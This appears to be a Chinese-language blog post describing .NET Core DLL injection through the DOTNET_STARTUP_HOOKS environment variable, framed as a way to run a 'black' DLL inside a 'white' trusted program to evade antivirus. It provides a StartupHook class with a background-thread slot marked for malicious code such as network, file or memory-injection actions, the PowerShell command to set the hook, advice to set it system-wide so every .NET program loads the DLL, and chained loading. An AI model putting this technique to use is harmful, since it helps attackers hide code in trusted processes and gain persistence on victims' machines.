netcore dll注入

.NET启动钩子(Startup Hooks)。这个功能自.NET Core 3开始就存在,却很少被安全研究者关注

.Net Startup Hooks是dotnet运行时提供的一个底层的机制,在程序入口点执行之前执行注入的代码,通过这个方式我们可以运行"黑DLL"在"白程序"中,也就是白加黑免杀。

设置DOTNET_STARTUP_HOOKS=path/to/assembly.dll环境变量,启动.net程序,运行时会加载assembly.dll,在Main函数启动之前先运行StartupHook.Initialize()。

新建一个类库项目

using System;

// 注意:不要使用namespace
internalclassStartupHook
{
    public static void Initialize()
    {
        Console.WriteLine("[钩子] 代码注入成功!");
        Console.WriteLine("[钩子] 在Main方法之前执行");
        
        // 在新线程中执行,避免阻塞主线程
        var thread = new Thread(ExecutePayload);
        thread.IsBackground = true;
        thread.Start();
    }
    
    private static void ExecutePayload()
    {
        Console.WriteLine("[钩子] 后台任务启动");
        
        // 这里可以添加你的恶意代码
        // 例如:网络通信、文件操作、内存注入等
        
        // 演示:每10秒输出一次
        while (true)
        {
            Thread.Sleep(10000);
            Console.WriteLine("[钩子] 后台任务正在运行...");
        }
    }
}

cd .\TargetApp\

设置启动钩子路径,这里指向刚才编译的dll

$env:DOTNET_STARTUP_HOOKS = "$pwd\StartupHook\bin\Release\net6.0\StartupHook.dll"

\TargetApp> .\bin\Release\net8.0\publish\TargetApp.exe
[钩子] 代码注入成功!
[钩子] 在Main方法之前执行
[钩子] 后台任务启动
目标应用启动...
[钩子] 后台任务正在运行...

可以设置系统环境变量,此时系统中启动的所有.net程序都会加载你写的dll

链式加载

$env:DOTNET_STARTUP_HOOKS = "C:\hook1.dll;C:\hook2.dll;C:\hook3.dll"

作者:spike

分类: Net

创作时间:2025-10-23

更新时间:2025-10-23

联系方式放在中括号之中例如[[email protected]],回复评论在开头加上标号例如:#1